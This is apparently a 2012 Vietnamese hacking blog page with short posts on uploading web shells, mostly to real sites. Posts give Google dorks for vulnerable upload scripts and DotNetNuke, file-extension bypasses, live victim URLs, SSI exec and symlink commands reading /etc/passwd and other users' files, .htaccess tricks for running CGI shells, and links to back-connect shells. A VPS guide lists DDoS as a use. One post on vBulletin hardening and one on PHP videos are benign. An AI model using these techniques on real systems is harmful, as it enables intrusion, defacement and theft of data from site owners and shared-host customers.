29 thg 6, 2012

no image

Một Số Bug - Dork Upload Shell

I  -  TailoredWeb SheLL Upload Vulnerability 
 

           
     1-      Google Dork : 
    "inurl:simple-upload-53.php"
     2-    Chọn victim, sẽ có link như sau:
OR
Ví dụ:



 

     3-    Upload Shell
Thay đổi đuôi shell thành dạng   shell.php.jpg   .php.pjpg   .php.gif  .php.pgif
            Bây giờ soleil sẽ upload shell byg.php.pgif lên.
     4-    Chạy Shell:
Run Shell theo  path sau:
Ví dụ:

Với dork trên Soleil tìm đường 1 số link sau:
Xem chi tiết »
no image

Demo Hack Web Bằng Kỹ Thuật DNN (DotNet Nuke)

Bước 1: Sử dụng google để tìm site chứa lỗ hổng DNN
:inurl:/tabid/36/language/en-US/Default.aspx
Inurl:”/portals/0” 
Bước 2: Chọn  1 victim bất kỳ, ví dụ:
Bước 3: Thay thế đoạn url sau:
/tabid/36/language/en-US/Default.aspx
Bằng đoạn mã url:
Providers/HtmlEditorProviders/Fck/fcklinkgallery.aspx
Lúc đó, đường link của victim như sau:

Thông tin thu được:




 
Bước 4: Tích vào File (A File on your site)
     

Sau đó thay thế đường link  bằng đoạn mã Script đơn giản sau:
javascript:__doPostBack('ctlURL$cmdUpload','') 

Sau khi chạy địa chỉ url ở trên sẽ xuất hiện giao diện cho upload file
Bước 5: Upload shell
Click Browse và upload shell .asp or. aspx


Thêm 1 số kỹ thuật upload shell đối với asp,
- Có thể bypass đuôi file shell sang dạng ảnh như sau: shell.asp;.jpg.
- Hoặc sử dụng tool http live herder or tamper data….
Bước 6: Run shell
Path đường dẫn để http://www.victim.com.vn//portals/0/tên shell
Một số site dính DNN:
http://www.seth.pt/Providers/HtmlEditorProviders/Fck/fcklinkgallery.aspx
Xem chi tiết »

28 thg 6, 2012

no image

Bộ Ebook cực hiếm dành cho dân CNTT!

Đây là Ebook CNTT toàn tập là hàng hiếm của dân CNTT đó anh em,dành cho những ai thích công nghệ thông tin thì tham khảo. Trong này chứa hầu như tất cả những món nghề của dân CNTT.
 
Mời các bạn download:
http://www.mediafire.com/?t3yzw8cnq4qfs
Xem chi tiết »
no image

TUT - Làm gì khi safe_mode ON?

Khi gặp Safe_mode: ON thường ae ko làm được gì (ý nói newbie á). Jin lập Tut này hướng dẫn ae local khi gặp trường hợp này.
-- Bắt đầu nha --
I. Hạ safe_mode
Thử các cách sau:
a. Tạo file .htaccess ở root với nội dung sau:


Code:
php_flag safe_mode off
b. Tạo file php.ini ở root với nội dung sau:
Code:
safe_mode = Off
c. Thêm đoạn code sau vào file cấu hình như config.php , data.php , global.php ,.. ( sau <?php nhé )
Code:
ini_set('safe_mode','Off');
Sau khi hạ safe_mode xong thì local như thường nhé.
II. Perl Shell
Nếu vì lí do nào đó mà bạn ko hạ sm được thì dùng thử Perl Shell nha. Perl Shell là shell (tất nhiên rùi) thường có đuôi dạng .cgi , .pl ,.. Và ko bị ảnh hưởng bởi cái sm quái qủy kia.
Download: http://www.hyperfileshare.com/d/1508da2e
Upload shell to host, ChMod 755 và run thử.
Nếu gặp lỗi 500 thì ta xem Tut này: http://www.mediafire.com/?mmnimgwmjt0 (mượn tạm của pro nào ý)
và Tut này http://www.mediafire.com/?qqwkoiozrdq
nếu ko được nữa thì move shell vào folder cgi-bin .
Cuối cùng, áp dụng hết pp trên mà ko được nữa thì... Bỏ con shell ấy đi. Hại não. Hìhì
Xem chi tiết »

26 thg 6, 2012

no image

Bảo mật cho VBB ngắn gọn và dể hiểu

Hôm nay Vô Tâm sẻ hướng dẫn các bạn chống hack cho diển đàn vBB, chắc các đã không xa lạ với các bài viết hướng dẫn bảo mật cho diển đàn vBulletin, nhưng những bài viết đó hầu như rất dài dòng và khó hiểu. Hôm nay Vô Tâm sẻ tổng hợp những cách chống hack của diển đàn vbb một cách dể hiểu và ngắn gọn.
1. Thay đổi Config.php trong thư mục includes:

- Trước tiên bạn hảy tạo một thư mục để chứa file config.php "thật" của chúng ta. vd: #votam Sau đó bạn mở thư mục includes và tìm đến file class_core.php
  Tìm:
includes/config.php
Thay thế bằng:
#votam/ten file config.php mà bạn muốn   
"#" ở trước thư mục là có mục địch nhé. các bạn muốn bỏ nó đi cũng không sao.

Bây giờ bạn vào includes và tìm đến file config.php và đổi tên nó giống như ở chổ nào
#votam/ten file config.php mà bạn muốn
Rồi đưa nó vào thư mục #votam
2. Tăng cường và thay đổi địa điểm của Admincp:

2.1/ Thay đổi vị trí admincp:
- Bạn thay đổi tên của thư mục admincp
- Bạn vào #votam ten file config.php (Đây là khi bạn đã đổi địa điểm file config.php) còn nếu chưa đổi địa chỉ file config.php thì vào vào includes và tìm đến file config.php

Tìm:  
$config['Misc']['admincpdir'] = 'admincp'; 
Thay thế admincp thành tên thư mục bạn đã đổi trước đó.

2.1/ Thêm một lần nữa để đăng nhập được vào admincp:

- Mở file global.php trong thư mục admincp (Nếu đã đổi tên thư mục admincp thì vào thư mục đó để tìm file này)
Ở hàng đầu tiên:
<?php
Bạn chèn thêm vào:
//Khai bao dang nhap $config['dn2_dnp'] = 'usename'; $config['mk2_dnp'] = 'password';

if (
$_SERVER['PHP_AUTH_USER'] != $config['dn2_dnp'] || $_SERVER['PHP_AUTH_PW'] != $config['mk2_dnp']){ header('WWW-Authenticate: Basic realm="Xin vui long khai bao thong tin yeu cau truoc khi duoc chuyen den bang dang nhap"'); header('HTTP/1.0 401 Unauthorized');

//Trang sẽ hiển thị khi thông tin khai báo sai bét. Hỗ trợ HTML nên bạn có thể thiết kế một trang đẹp hơn echo '<center>Đi chổ khác chơi đi chú em. Nhấn nút biến!</center>';
exit;
}  

Nhập 2 thông tin này vào:
usename
password
3. Về phần chmod
- Chmod public_html 100
-Chmod thư mục includes 101. File config 400
-Chmod tên thư mục ví dụ forum thành 701
Hi vọng những cách này sẽ giúp các bạn tránh đc local :)
Xem chi tiết »
no image

Tổng hợp TUT Local Căn Bản + Nâng Cao Cho AE

.Đây toàn là video local nhé,tôi sưu tầm và tổng hợp lại cho anh em newbie như mình,mong nhận được cái thank


http://www.mediafire.com/?pd10l797f5haw
==================================
Một số tut khác
====================================
Up shell vbb mọi phiên bản (hướng dẫn từ a -> z)
http://www.mediafire.com/?gbb3xyhpx2iwoat
pass: tranhoai
====================================
Local hostvn
http://www.mediafire.com/?dhpbve4z1b8gio1
=================================
Tut SQL + up shell +local (tổng hợp)


1.Tìm site lỗi SQL và khai thác
2.Login với quyền admin để up shell
3.Local sang các site khác cùng server
http://www.mediafire.com/?xr10n8nczr8du9q
=================================
Local bằng cách up Cgi-Telnet -


http://www.mediafire.com/download.php?djnmntmgacm
=============================================
Local + Upload shell Joomla chi tiết


http://www.mediafire.com/?3hqep6ku7528vub


pasS: 25071989
==================================
Upload Shell PHPMYADMIN
Link : http://www.mediafire.com/?7rvuy2a62b40k23
Pass : BYG
==================================
một số video khác


http://www.mediafire.com/download.php?tgjd4bnnzdy
http://www.mediafire.com/download.php?ee1ztyyj32n
http://www.mediafire.com/download.php?mwizmitjmmo
http://www.mediafire.com/download.php?iynzjmjjn4y
http://www.mediafire.com/download.php?zjzvenhd1ma
http://www.mediafire.com/download.php?lmq5jlhjxok
http://www.mediafire.com/download.php?jinkzmwmmzy
http://www.mediafire.com/download.php?oimmn2yjnj0
http://www.mediafire.com/download.php?xbonumjzyqz


pass : bocapit

================================================


Local basic
http://www.mediafire.com/?jiki40gwjzx
===========================
Local via sql
http://www.mediafire.com/?w2moq5ygwzy
============================
Tut hướng dẫn chi tiết local thay pass MD5 cho NB
http://www.mediafire.com/?kt4qtkqvma6xusj
=============================
local
http://www.mediafire.com/?lnx6ph8978ljt92
===============================
Vài con shell cần thiết khi local cho anh em!
Shell Cgi (cgi.x-zone) khi gỏ command nó sẽ mã hóa dòng lệnh ,có thể qua mặt vài server
http://www.mediafire.com/?45fsa46y5bdobfa

Telnet 1.3
http://www.mediafire.com/?eayxc5k8utpqeig
.htaccess
Options +FollowSymLinks +Indexes
DirectoryIndex default.html
## START ##
Options +ExecCGI
AddHandler cgi-script cgi pl tg love h4 tgb cbg

RewriteEngine on
RewriteRule (.*)\.war$ $1.cgi
## END ##
RemoveHandler .vkl
AddType application/octet-stream .vkl
~> 2 dòng cuối khi symljnk ghi vào file.vkl thì file này load trên trình duyệt sẽ tự download về

Admin Finder (tìm thư mục admin)
http://www.mediafire.com/?skaysiedncckx4k

cmd.shtml > view source cmd.shtml
<!--#exec cmd="dir /home/victim/public_html/" -->

cmd.shtml (1.txt là file đã được symljnk) > view source cmd.shtml
<!--#include virtual='1.txt'-->

Bypass ln.zip
<?php
chmod('ln',0777);
system('./ln -s /etc/passwd > 1.txt');
?>
hoặc
./ln -s /home/victim/public_html/index.php 1.txt
File SymLink.php
/home/victim/public_html/index.php

Find Path qua error-log : http://victim.com/fuck
tail -100 /var/log/httpd/domains/siteA.error.log | grep fuck
tail -100 /usr/local/apache/logs/error_log | grep fuck

Shell offline.php?acc ~> get user admin ,nhiều chức năng ,ko bị lổi trên các server config kỉ
http://www.mediafire.com/?r19m52itzq71x5z

Backuper.php (Leech code)
http://www.mediafire.com/?kp1p40fnwc2171k

Shell Unkonw (Brute)
http://www.mediafire.com/?hvxjzrm1tjgbwmp

Shell images (r57)
http://www.mediafire.com/?lh0nslgadbsb5ab

Shell images (Webadmin)
http://www.mediafire.com/?lc6cizbpw5ijoio

Shell Dumper.php (Zip + Restor data)
http://www.mediafire.com/?9ecl9efdk4mw3hm

Shell images aaa.php.jpg - shell upload
http://www.mediafire.com/i/?d61ubhb1qw11dst

Shell help.php (upload file + chmod)
http://www.mediafire.com/?ytwx6mv4ee2266l

Unzip.php (giải nén các file bị zip)
http://www.mediafire.com/?1bhs7jmvly3e1b4
Con shell này tạo ra thêm 2 file để thực hiện zip
Nếu ko tạo đc 2 file này thì chúng ta sẽ tự tạo 2 file đó
http://www.mediafire.com/?ims0mlwa9e3yzl1

telnet v1.3 (ko cần htaccess)
http://www.mediafire.com/?t1uu3cr6h6aag5c

sym-pl.pl (symljnk cgi ko cần htaccess)
http://www.mediafire.com/?o8fm7bmw90882hq

Shell Root ( thực thi các dòng lệnh sẽ show ra trình duyệt - chỉ sd 1 số sv)
http://www.mediafire.com/?f86f88nfesduuyp

Locus Shell (back connect)
http://www.mediafire.com/?0vk8v5m8kzcqgvf

perl shell mr.thien (BackConnect)
http://www.mediafire.com/?qedquldy39ilgn9
Xem chi tiết »
no image

Hướng dẫn sử dụng VPS

VPS là gì?

Server riêng ảo (Virtual Private Server - VPS) là phương pháp phân chia một server vật lý thành nhiều server riêng. Mỗi server là một hệ thống hoàn toàn riêng biệt, chạy hệ điều hành riêng có toàn quyền quản lý và khởi động lại hệ thống.
VPS dành cho các doanh nghiệp vừa và nhỏ cần có server riêng có thể quản trị từ xa, có thể cài đặt phần mềm theo nhu cầu mà không bị hạn chế, có thể xây dựng server web, email, backup dữ liệu hoặc dùng để truyền tải file dữ liệu giữa các chi nhánh một cách dễ dàng, nhanh chóng, bảo mật.


VPS giống như một máy tính bình thường mình sử dụng nhưng nó được đặt ở các phòng server có đường truyền mạnh và cấu hình ngon

Sau đây mình sẽ nói sơ qua về vps và hướng dẫn cách sử dụng (Mình chỉ nói theo kinh nghiệm có gì sai sót mong các bạn góp ý và bỏ qua)

1. Cách sử dụng
Đầu tiên các bạn tìm đến chức năng remote desktop của win (Mình dùng win xp)
 C:\Documents and Settings\All Users\Start Menu\Programs\Accessories\Communications

Cho cái biểu tượng Remote Desktop Connection ra màn hình desktop bằng cách bấm save as

Nháy đúp vào biểu tượng Remote Desktop Connection

Copy và paste Computer vào ô như trong hình:




Nó sẽ Remote desktop đến cái VPS của các bạn.

Cách bạn cứ hiểu VPS như là 1 cái máy tính. Mà đã là máy tính thì cách bạn cứ làm những gì mà cách bạn làm trên máy tính của bạn (nhưng phải có giới hạn)

Bây giờ các bạn có thể làm gì tùy thích như cắm game, chạy game server, web server, crack,scan socks, leech socks, ddos site, ....


Chú ý : Các bạn đừng bao giờ tắt máy cái VPS như tắt máy của mình nhá nó đi luôn đấy. Nếu dùng xong tắt cái remote đi là được rồi (dấu X) nó vẫn đang online trên mạng đấy.

Sau khi remote đc VPS thì dùng TeamViewer để connect vào cũng ok.
2. Cách đổi password cho vps
Trong giao diện của vps chọn start >> windows security >> change password rồi nhập password cũ và mới vào
3. Cách reset cho vps
VPS như một máy tính ảo nên khi làm việc lâu quá cũng không tốt nên cứ khoảng 1-2 ngày bạn nên reset một lần

Cách làm như sau
 Rồi bấm oke, khoảng 5 phút sau vào lại

4. Cách khắc phục lỗi exceed
Mặc định, trên Windows Server 2003, chức năng Remote Desktop được thực hiện ở mode Remote Desktop for Administration. Với mode này, nó chỉ cho phép 2 connections mà thôi. Chúng ta không thể remote vào vượt quá số connections này được đâu. Bạn có thể kiểm chứng điều này bằng cách vào Administrative Tools ==> Terminal Services Configuration ==> click Connections , nhấn phải chuột trên RDP-TCP chọn Properties ==> Chọn tab Network Adapter, bạn sẽ thấy Maximum connections là 2

Nếu một khi bạn vào vps nhưng khi mạng của bạn bị lag bạn chưa hòan toàn thoát ra khỏi vps tức là 1 user còn đang sử dụng, bạn lại nóng lòng login lại và lại lặp lại vấn đề như vậy nên cùng một lúc bạn sử dụng nhiều user lúc đó vps báo lỗi quá tải (the terminal server has exceeded the maximum number of allowed connections).

Ở Remote desktop có 2 chế đó là Remote desktop và Remote desktop console. 2 kiểu remote này là khác nhau. Remote desktop bình thường thì coi như bạn tạo ra 1 tài khoản, còn Remote desktop console thì bạn chạy thực trên con máy đó. Lý do bị như vậy là chúng ta đang Remote Desktop console trên cùng 1 server VPS. Hãy tạo ra 1 Remote Desktop thường và 1 Remote Desktop console. Lúc này ta nên vào chế độ console bằng cách:

Start -> Run -> mstsc /console đánh IP và password vào như đăng nhập vps thông thường rồi reset lại vps thế là xong

5. Những chú ý khi sử dụng vps
- VPS sử dụng mạng nước ngoài nên bạn có tắt máy thì nó vẫn họat động
- Không nên lạm dụng vps, bạn không thể bắt nó làm việc quá mức và nó sẽ die nhanh
- Khi mang bạn lag bạn nên hạn chế conect vào vps, tốt nhất là tắt đi khi xong công việc.
Xem chi tiết »
no image

Học php qua video :)) căn bản php. đến nâng cao.

Dưới đây là tổng hợp video từ cơ bản nhất đến nâng cao với giọng tiếng việt dễ hiểu của anh
Demon Warlock

sau đây là links

bài 1 : http://vimeo.com/15013115

bài 2 : http://vimeo.com/15013447

bài 3 : http://vimeo.com/15015284

bài 4 phần 1: http://vimeo.com/15015464

bài 4 phần 2: http://vimeo.com/15014929

bài 5 phần 1: http://vimeo.com/15015037

bài 5 phần 2 : http://vimeo.com/15015134

bài 6 phần 1 : http://vimeo.com/15016637

bài 6 phần 2 : http://vimeo.com/16646679

bài 7 phần 1 :http://vimeo.com/15017026

bài 7 phần 2 : http://vimeo.com/15159496

bài 8 : http://vimeo.com/15031002

bài 9 phần 1 : http://vimeo.com/15031302

bài 9 phần 2 : http://vimeo.com/15031537

bài 10 : http://vimeo.com/15043585

bài 11 phần 1 : http://vimeo.com/15146610

bài 11 phần 2 : http://vimeo.com/15972696

bài 12 : Mô hình MVC http://vimeo.com/17140642
Xem chi tiết »
no image

Local Tổng Hợp Các Tut Của Sunshine Angel - Updating....

Tut Local Tư duy 1 :
http://www.mediafire.com/?k9a8xo26e66ck6b
Tut Local Tư duy 2 :
http://www.mediafire.com/?ktghxpz4152zhfv
Tut local BSG :
http://www.mediafire.com/?y0pd363fhen20cw
Updating....
Có gì thắc mắc cứ comment ở dưới :|
Xem chi tiết »
[Tut]Deface website trong vòng 2 phút sử dụng Exploit

[Tut]Deface website trong vòng 2 phút sử dụng Exploit

Nhìn tựa đề anh em nghe khó tin nhỉ.
Nhưng sự thật là như vậy .
Tut chống chỉ định cho pro.
Linkdownload:


Code:
http://www.mediafire.com/?y6zxx5pmx6hzt2c
Google dork:



Code:
intitle:Moxiecode file browser filetype:php
Demo:
http://www.steulaliegites.com/tinymce/jscripts/tiny_mce/plugins/filemanager/frameset.php
 
 
Xem chi tiết »